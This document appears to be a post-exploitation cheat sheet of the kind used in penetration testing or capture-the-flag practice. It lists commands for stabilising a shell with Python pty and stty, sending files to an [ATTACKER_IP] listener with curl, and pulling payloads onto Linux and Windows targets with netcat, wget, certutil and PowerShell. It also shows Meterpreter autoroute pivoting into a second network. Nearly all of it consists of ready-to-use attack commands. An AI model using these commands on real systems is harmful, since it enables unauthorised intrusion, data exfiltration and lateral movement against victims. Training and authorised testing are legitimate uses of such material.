Spawn Better Shell
PYTHON
python3 -c 'import pty; pty.spawn("/bin/bash")';export TERM=xterm
Ctrl + Z
stty raw -echo; fgSpawn a better shell (tab, history, ...).
Extract File from Target
CURL
curl [ATTACKER_IP]:[ATTACKER_PORT] -F 'data=@fmyFile'Send myFile to an netcat listener.
Upload File on Target
NETCAT
nc -l -p [TARGET_PORT] > newFileRun on Target.
nc [TARGET_IP] [TARGET PORT] < myFileRun on Attacker machine. Send a file on the target.
PYTHON
python3 -m http.server [ATTACKER_PORT]Run on attacker machine (at the file location).
wget http://[ATTACKER_IP]:[ATTACKER_PORT]/myFileGet the file on a Linux target machine.
certutil.exe -urlcache -f http://[ATTACKER_IP]:[ATTACKER_PORT]/myFile myFileorpowershell -c wget "http://[ATTACKER_IP]:[ATTACKER_PORT]/myFile" -outfile "myFile"orpowershell -c "(new-object System.Net.WebClient).Downloadfile('http://[ATTACKER_IP]:[ATTACKER_PORT]/myFile', 'myFile')"Get the file on a Windows target machine.
MIMIKATZ
METERPRETER
uploadUpload a file or directory.
downloadDownload a file or directory.
Pivoting
METERPRETER
When we have a meterpreter shell on a machine that has access to another network, we can use it to gain access to the 2nd network.
run autoroute -s [REMOTE_NETWORK]/24Create a route via the host that we had access to.
run autoroute -pShow added routes.